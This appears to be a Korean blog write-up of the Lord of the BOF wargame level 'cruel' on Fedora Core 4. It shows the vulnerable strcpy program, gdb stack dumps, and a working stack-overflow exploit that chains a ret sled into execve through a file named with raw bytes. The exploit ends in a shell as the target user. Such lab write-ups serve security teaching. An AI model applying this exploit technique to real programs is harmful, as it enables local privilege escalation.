'Wargame/LOB (Fedora4)'에 해당되는 글 1건

  1. 2014.02.26 dark_stone -> cruel

문제의 소스입니다.


 


[dark_stone@Fedora_2ndFloor ~]$ cat cruel.c
/*
 The Lord of the BOF : The Fellowship of the BOF
 - cruel
 - Local BOF on Fedora Core 4
 - hint : no more fake ebp, RET sleding on random library
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];


    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }


    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


 


모양은 상당히 단순합니다.


하지만 Fedora Core 3 까지는 인자 참조를 할 때, ebp를 참조하지만 Fedora Core 4부터는 esp를 기준으로 참조를 합니다.


(개인적인 생각으로 ebp가 아닌 esp가 기준이되면 스택이 변동될때마다 esp가 달라져서 힘들것같기도한데... 나중에 공부를 해보다보면 이유를 찾을수 있겠죠 ㅋㅋ)


 


인자로 삼기위해서는 변하지 않으면서, 고정적인 데이터가 필요합니다.


Data Segment에 위치한 데이터를 심볼릭링크를 걸어서 인자로 삼을 수 있겠네요.


 


(gdb) x/8x $esp
0xbf92401c: 0x007bad7f 0x00000002 0xbf9240a4 0xbf9240b0
0xbf92402c: 0xbf924060 0x00795898 0x007a3878 0xb7f26690
(gdb)
0xbf92403c: 0x00000001 0x008caff4 0x007a2ca0 0x08048454
0xbf92404c: 0xbf924078 0xbf924020 0x007bad44 0x00000000


 


ret은 pop %eip를 해줌으로써, pop 명령어가 가진 특성으로 인해 esp가 4씩 증가한다는 특징이 있습니다.


대략 ret을 9번쯤하면 esp+4위치에 0x08048454에 위치한 데이터들이 인자로 들어가겠네요.


 


[dark_stone@Fedora_2ndFloor tmp]$ xxd err | grep cve -A 2
0000000: 6578 6563 7665 2822 2e2f 6372 7565 6c22  execve("./cruel"
0000010: 2c20 5b22 2e2f 6372 7565 6c22 2c20 2261  , ["./cruel", "a
0000020: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
--
0000680: 3330 300a 6578 6563 7665 2822 5589 e557  300.execve("U..W
0000690: 5653 83ec 0ce8 222c 205b 2222 2c20 2251  VS....", ["", "Q
00006a0: 5c32 3034 5c34 5c31 3051 5c32 3034 5c34  \204\4\10Q\204\4


 


[dark_stone@Fedora_2ndFloor ~]$ gcc -o `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` ./tmp/shell.c


 


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `perl -e 'print "a"x260,"\x51\x84\x04\x08"x9,"\x68\x2d\x83"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQQQQQQQQQh-
sh-3.00$ id
uid=501(cruel) gid=501(cruel) groups=500(dark_stone) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
come on, come over
sh-3.00$


Posted by windowhan
,